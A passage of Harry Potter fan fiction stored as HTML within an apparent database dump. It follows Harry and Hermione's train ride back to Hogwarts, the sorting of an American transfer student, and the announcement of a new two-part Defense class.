class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh, come on, two weeks back at Hogwarts, and\nyou&#8217;ll forget all about it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, I won&#8217;t, Herm, this was a summer to\nremember&#8230;&#8221; he looked straight into her eyes and squeezed her left hand, &#8220;&#8230;in\nmore ways than one.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, it was, but that doesn&#8217;t mean that we\ncan&#8217;t make this year one to remember either.&nbsp;\nAfter all, wouldn&#8217;t you like to go out with bang?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;As long as there are no explosions then\nyes.&#8221; Hermione chuckled softly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;We better go, or we&#8217;ll miss the train.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry hadn&#8217;t realized that it was so late,\nand they quickly headed for platforms 9 and 10.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione followed Harry towards the\nbarricade, and he stopped several feet in front of it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Go ahead, Herm, you first.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry watched to make sure no one was looking\nthen Hermione pushed her trolley forward and passed through the wall.&nbsp; He took one last look to make sure he wasn&#8217;t\nbeing watched then followed her through.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry emerged onto Platform 9 &#190;, and he smiled\nat seeing &#8216;Hogwarts Express&#8217; across the front of the train.&nbsp; He and Hermione handed their things over to\nthe loading staff, and they headed onto the train to find a compartment.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The young couple found a cabin near the back\nof the train, which was completely empty.&nbsp;\nThey took their seats, facing one another.&nbsp; Hermione playfully kicked his shin, and Harry gasped in\nsurprise.&nbsp; She tried to kick him again,\nbut he blocked it with his own foot.&nbsp;\nThe match was on!&nbsp; They both\nlaughed as it really turned into a game of footsie more than trying to kick one\nanother.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;There you guys are!&#8221; A familiar redhead\nappeared in the doorway.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ron!&#8221; his best friends said at the same\ntime.&nbsp; Hermione got up to hug him, and\nHarry shook his hand.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;ve been looking for two; so this is where\nyou&#8217;ve been hiding,&#8221; and he sat down next to Harry.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;We tried to find you in Diagon Alley, but\nyou weren&#8217;t around,&#8221; Hermione explained.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah, I just arrived about an hour ago; my\ndad decided to try out a new car he bought; it&#8217;s a piece of junk!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;At least you didn&#8217;t miss the train,&#8221; Harry\nstated.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I guess so, but I haven&#8217;t seen Lavender\neither,&#8221; Ron said with a sad expression.&nbsp;\nHarry jumped at the opening.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ah, how sweet, you miss your honey don&#8217;t\nyou?&#8221; he laughed.&nbsp; Hermione kicked him\nin the shin again.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Be nice, Harry, they&#8217;ve been apart all\nsummer.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s okay, we owled each other every week,\nbut it&#8217;s still not the same as seeing her.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Cheer up, Ron,&#8221; Harry stated and put a hand\non his shoulder, &#8220;You&#8217;ll see her soon, and I&#8217;m sure she&#8217;ll be ecstatic to see\nyou.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">As if fate heard his words, another Weasley\nappeared in the doorway.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ron, where have you been?&#8221; It was Ginny, and\nshe was out of breath.&nbsp; &#8220;Oh sorry, hi\nHarry&#8230;hi Hermione.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hi Ginny.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What&#8217;s up, sis, where&#8217;s the fire?&#8221; her\nbrother asked with a grin.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No fire&#8230;just a certain pretty blonde looking\nfor you&#8230;I believe you know her?&#8221; Ginny answered with a coy grin.&nbsp; Ron&#8217;s eyes lit up!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Lavender!&nbsp;\nWhere is she?&#8221; His sister rolled her eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Come on, bro, she&#8217;s in my cabin.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron was about to stand up when he froze and\ngazed at Harry and Hermione.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Um&#8230;guys&#8230;&#8221; They both started laughing.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Would you get out of here!&#8221; Hermione\ngiggled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Go on, you lovesick puppy,&#8221; Harry\ndrawled.&nbsp; Ron followed his sister down\nthe hall with a bright smile on his face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well&#8230;I see those two haven&#8217;t changed much.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione grinned at his comment.&nbsp; She kicked off her pumps and ran her toes up\nand down Harry&#8217;s leg.&nbsp; He reached down to\nhold her foot and pulled it up into his lap.&nbsp;\nSmiling warmly, he gently stroked the arch and squeezed the soft flesh.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s so nice,&#8221; she sighed and leaned back\nagainst the seat.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">They were both jerked as the train started\nout and headed out of the station.&nbsp;\nHarry continued to massage her foot, and Hermione closed her eyes,\nenjoying his skillful hands.&nbsp; After a\nwhile, she pulled away, but her eyes locked onto him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thank you, my lovesick puppy,&#8221; she giggled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I beg your pardon!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione stood up, and before Harry could say\nanything, proceeded to straddle his lap.&nbsp;\nShe wrapped her arms around his neck, and he gulped at the fire dancing\nin her beautiful brown eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Admit it, love, there&#8217;s nothing I couldn&#8217;t\nmake you do,&#8221; she teased and stroked the back of his neck.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well&#8230;I&#8230;I mean&#8230;&#8221; He couldn&#8217;t think with her\ngazing at him like that.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;She&#8217;s right, Potter; you&#8217;re whipped!&#8217;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All right, sweetheart, I&#8217;ll admit it if you\nwill.&nbsp; You know it runs both ways; we&#8217;d\nboth do anything for one another.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Very true, but it has its advantages&#8230;&#8221; she\ncooed and leaned forward.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That it does,&#8221; and he caught her mouth for a\nlong kiss.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry wrapped his arms around her and pulled\nher tight against him.&nbsp; Hermione wiggled\nin his lap, and his body reacted the way it always did.&nbsp; If it weren&#8217;t for the fact that they were on\na train full of students, he&#8217;d make love to her right here!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh my!&#8221; she gasped, feeling his reaction to\nher quite firmly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Forgive me, Hermione, but you know I can&#8217;t resist\nyou.&#8221; She ran her hand down the side of his face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Don&#8217;t be sorry, Harry, I want you too, but\nwe&#8217;ll just have to wait a little while.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She reluctantly slid off his lap but sat down\nbeside him so he could keep his arms around her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A while later, the lady with the cart came\nby, and Harry got a box of Bertie Bott&#8217;s, some chocolate frogs, and two bottles\nof pumpkin juice for he and Hermione.&nbsp;\nThey enjoyed their snack, occasionally feeding one another which both\nenjoyed thoroughly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;Hmm, I&#8217;ll have to remember this,&#8217; Harry\nthought silently.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">After taking a sip of her juice, Hermione\nleaned against his shoulder and gazed out the window at the passing\nlandscape.&nbsp; Harry wrapped his left arm\naround her and held her close for the remainder of the train ride.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(244, 2, '\n\n\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoBodyText">Just like always, the Hogwarts Express pulled into\nHogsmeade Station in the mid-evening.&nbsp;\nHarry and Hermione had changed into their robes a short while\nbefore.&nbsp; They each put on their Head Boy\nand Girl badges and went to meet up with Ron and Lavender.&nbsp; The four exited the train and headed for the\nboats.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;First\nyears&#8230;first years this way&#8230;first years&#8230;&#8221; a familiar voice boomed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nsmiled at seeing Hagrid in his use spot &#8211; lantern in hand.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hi\nHagrid,&#8221; he said with a bright smile.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why\nHarry, hello there!&#8221; The half-giant shook his friend&#8217;s hand, effectively making\nthe young wizard&#8217;s disappear inside his massive palm.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione&#8230;Ron&#8230;Lavender&#8230;glad\nto see you all again.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">They\neach greeted him cheerfully and left him to attend to the first years.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh\nmy, isn&#8217;t that Harry Potter?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Bloody\nhell, it is Harry Potter!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nsuppressed the grin that wanted to appear on his face as he listened the new\nstudents mutter among themselves.&nbsp; After\nlast year, he was sure the entire wizarding world had heard quite a few stories\nabout him and what he&#8217;d done.&nbsp; Luckily,\nhis fellow seventh years didn&#8217;t gawk at him too much.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">They\nreached the boats and headed across the channel towards Hogwarts Castle.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A\nhalf-hour later, Harry and others were seated at the Gryffindor table waiting\nfor Professor McGonagall to bring in the first year students.&nbsp; Harry had been hoping to speak with\nProfessor Dumbledore beforehand, but there hadn&#8217;t been time.&nbsp; What was more surprising was the fact of who\nwas sitting at the professors&#8217; table.&nbsp;\nTo the far right, next to Professor Trelawney was Sirius and to his right,\nsat Remus Lupin.&nbsp; They each smiled at\nHarry, and he did the same, but why were they here?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;What\nis going on here?&#8217; Harry contemplated.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">At\nthe far end of the hall, the massive doors swung open, and Professor McGonagall\nled the new students inside.&nbsp; Harry\nsmiled inwardly at the nervous expressions on the young kids faces; he imagined\nthat he looked very much like them his first year.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">In\nfront of the professors&#8217; table sat a familiar stool, and the Sorting Hat sat on\ntop.&nbsp; Professor McGonagall took out a\nrolled parchment and undid the list.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;When\nI call your name, please come forward.&nbsp;\nI will place the Sorting Hat on your head, and you will be sorted into\nyour house.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">As\nthe next hour passed, each first year came forward to be sorted.&nbsp; Gryffindor received thirty new students,\nRavenclaw received twenty-nine, Hufflepuff received twenty-three, and Slytherin\nreceived twenty.&nbsp; Harry was about to\nwelcome the new house members when Professor McGonagall spoke once again.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Students,\nI wish to announce that we have a transfer student this year as well.&nbsp; She has come a long way to attend our\nschool.&nbsp; She is originally from our\nschool in Salem, Massachusetts over in the United States.&nbsp; She is a seventh year student, and I ask\nthat each of you give her a warm welcome.&#8221; McGonagall raised her hand towards\nFilch who stood in the back.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Please\nshow her in.&nbsp; I&#8217;d like everyone to\nmeet&#8230;Miss Cassandra Cross.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">All\neyes turned toward the doorway, and about a hundred jaws hit the ground.&nbsp; The girl was absolutely flawless.&nbsp; She had long, golden-brown hair, stunning\nblue eyes, and a body that would make a supermodel jealous.&nbsp; The young woman silently walked down the\nmain aisle; her steps showing both confidence and elegance.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The\nmale students began muttering about her, and there were even a few wolf\nwhistles heard.&nbsp; Ron&#8217;s eyes were wide\nwith astonishment.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Bloody\nhell&#8230;where&#8217;d she come from?&#8221; he gulped.&nbsp;\nLavender nudged him in the side, but the young Weasley didn&#8217;t budge.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey\nHarry&#8230;&#8221; Seamus Finnegan snickered, &#8220;&#8230;check out the hottie.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes,\nshe is quite pretty,&#8221; he admitted. &#8220;I wonder why she&#8217;s here though.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Who\ncares?&nbsp; I hope she gets put in our\nhouse!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Would\nyou shut-up!&#8221; Hermione said with a glare.&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She\nconceded that the girl was quite attractive, and her stomach turned slightly at\nseeing Harry watching her.&nbsp; Did he think\nCassandra was prettier than she was?&nbsp;\nThat was when she felt a gentle hand on her thigh, and she turned to see\nher fianc&#233; gazing at her with warm eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You,&#8221;\nhe simply said.&nbsp; Her eyes lit up as she\nunderstood, and he grinned slightly.&nbsp; He\nsqueezed her thigh and turned back to the front of the Great Hall.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Now\nCassandra, if you would please sit down,&#8221; McGonagall instructed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The\nyoung woman sat down on the stool, and the Sorting Hat was put on top of her\nhead.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hmm&#8230;most\nintriguing&#8230;such potential I see&#8230;and intelligence as well&#8230;however something has\nyou preoccupied&#8230;it is difficult to decide&#8230;where should you go&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The\nSorting Hat scrunched up as it thought long and hard.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I\nsee that you have suffered great loss&#8230;but you have the strength to\npersevere&#8230;therefore&#8230;it shall be&#8230;GRYFFINDOR!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The\nGryffindors cheered for their new house member, and the guys were happy that\nthey had such a pretty girl in close proximity.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Cassandra\nstrolled down the table to sit with the seventh year students.&nbsp; She stopped across from a young man with round\nglasses.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Excuse\nme, are you Harry Potter?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes,\nI am, nice to meet you.&#8221; Harry extended his hand, and she shook it.&nbsp; He noticed that her hand was soft and\ndelicate.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;May\nI sit down?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Of\ncourse!&#8221; Ron answered for him and moved over to make a spot for her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thank\nyou,&#8221; she smiled and suppressed a giggle.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m\nCassandra; it&#8217;s an honor to meet you in person.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m\nno different than anyone else,&#8221; Harry replied.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nfelt a little uneasy at the way Cassandra was staring at Harry; she looked like\nshe was about to bore a hole into his head with her eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;How\ndo you do?&#8221; she interrupted, &#8220;I&#8217;m&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;&#8230;Hermione\nGranger,&#8221; Cassandra answered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You\nknow me?&#8221; The young woman smiled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I\nreceived copies of the Daily Prophet at my old school.&nbsp; The article had a picture of Harry, you,\nand&#8230;&#8221; she turned to her left, &#8220;&#8230;and you,&#8221; she pointed at Ron.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ron\nWeasley at your service,&#8221; he drawled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I\nshould&#8217;ve known from your hair,&#8221; Cassandra laughed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So,\nwhat brings you all the way here?&#8221; Harry inquired.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;My\nparents took a job in London so we packed up and crossed over the\nAtlantic.&nbsp; I was hoping that it would&#8217;ve\nhappened after my last year, but my father said that we had to leave\nimmediately.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s\ngotta be rough, but I think you&#8217;ll like it here,&#8221; Harry said with a smile.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thank\nyou, I hope so too.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So\nwhat classes are you planning on taking?&#8221; Hermione asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Cassandra\nreached into her robes and drew out a folded parchment.&nbsp; She handed it to Hermione, and her eyes\nskimmed over the list.&nbsp; Harry read it over\nher shoulder, and his eyes widened slightly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;My\ngoodness, with the exception of Divination, you have the same classes I do,&#8221; he\nstated with a chuckle.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Really,\nthat&#8217;s quite a coincidence.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Not\nreally, Cassandra, Ron and I have almost the same schedule so it&#8217;s not that\nuncommon.&nbsp; I&#8217;ve been with the same group\nfor most of my six years here.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry&#8217;s\nright.&nbsp; We&#8217;ve always been together.&nbsp; The only exception was Hermione because she\ntakes more advanced classes than us,&#8221; Ron added.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s\nquite impressive &#8211; not to mention difficult!&#8221; Cassandra gasped.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;She&#8217;s\nthe smartest witch that I know!&#8221; Harry said with a proud smile, making\nHermione&#8217;s cheeks tint slightly.&nbsp; Her\neyes met his, and she flushed completely at seeing the admiration and love in\nhis emerald pools.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Come\non, Harry, you and Ron are just as good as me,&#8221; she protested.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Are\nyou nuts, Herm?&nbsp; You could learn Potions\nin your sleep,&#8221; Ron retorted.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ahem!&#8221;\nRon suddenly felt a firm nudge in the ribs, and he turned to see Lavender\nglaring at him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Are\nyou going to introduce me or not?&#8221; The young Weasley gulped at the fiery look\nin her eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;S-sorry\n&#8216;bout that!&nbsp; Cassandra&#8230;this is Lavender,\nmy girlfriend.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;How\ndo you do?&#8221; The girls shook hands, but Lavender&#8217;s eyes narrowed slightly in\nwarning.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nsaw the &#8216;hands off&#8217; look that she was giving Cassandra, and she couldn&#8217;t really\nblame her.&nbsp; It was obvious that the girl\ncould make any man come at her beckoned call.&nbsp;\nHell, she had half the male population of Hogwarts staring at her\nalready.&nbsp; Hermione suddenly felt very\nplain in the presence of such raving beauty.&nbsp;\nShe knew that she wasn&#8217;t ugly, and Harry always told her she was\nbeautiful, but in her heart, she knew that she&#8217;d never look like Cassandra.&nbsp; Why did she feel so flustered?&nbsp; Was she afraid that if Cassandra would turn\nher charms on Harry, he&#8217;d actually fall for her?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;No,\nhe&#8217;d never do that!&nbsp; Harry loves you!&#8217;\nshe shouted to herself.&nbsp; Hermione\nremained lost in her thoughts all the way through Dumbledore&#8217;s welcoming\nspeech.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Huh&#8230;what?&#8221;\nShe shook her head to see Harry gazing at her worriedly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You\nokay&#8230;you zoned out there for awhile.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sorry&#8230;I\nwas just thinking&#8230;that&#8217;s all.&nbsp; What is\nit?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Dumbledore&#8217;s\nabout to tell us about a new class.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nimmediately clammed up and turned her attention to the professors&#8217; table.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;As\nthe sixth and seventh year students may have noticed, there is no listing for\nDefense Against the Dark Arts this year.&nbsp;\nThat is because the course has changed.&nbsp;\nWith the attack from Voldemort last year, the Ministry of Magic had\nsplit the class into two pieces,&#8221; Dumbledore explained.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;As\nsuch, we have two professors teaching the class &#8211; Professor Remus Lupin and\nProfessor Sirius Black.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry&#8217;s\neyes shot open at the news; he couldn&#8217;t believe it!&nbsp; No wonder it wasn&#8217;t on his schedule; they&#8217;d remade the class into\ntwo parts.&nbsp; Not only that, but he&#8217;d have\nteachers that he both knew and cared about.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Now\nthen, the course will consist of material in both magical and physical\ndefense.&nbsp; In other words, each of you\nwill receive weapons training along with magical training.&nbsp; You are to learn how to duel both ways if\nneeded.&nbsp; Professor Lupin will be\nteaching the magical half, while Professor Black will be teaching the weapons\nportion.&nbsp; As a demonstration, I&#8217;ve asked\nProfessor Black to provide us with a presentation.&nbsp; Professor&#8230;if you would?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Sirius\nstood up and picked up two swords seated next to him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thank\nyou, Professor Dumbledore.&nbsp; I doubt that\nmany of you how to use one of these properly,&#8221; he stated and twirled the swords\nin his hands.&nbsp; The students just stared\nback at him silently.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I\nsee these interest all of you; then why don&#8217;t we have a volunteer?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nkept his hand down, but he just knew that Sirius was going to pick him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Let\nme see&#8230;Harry&#8230;Hermione&#8230;would could come up here 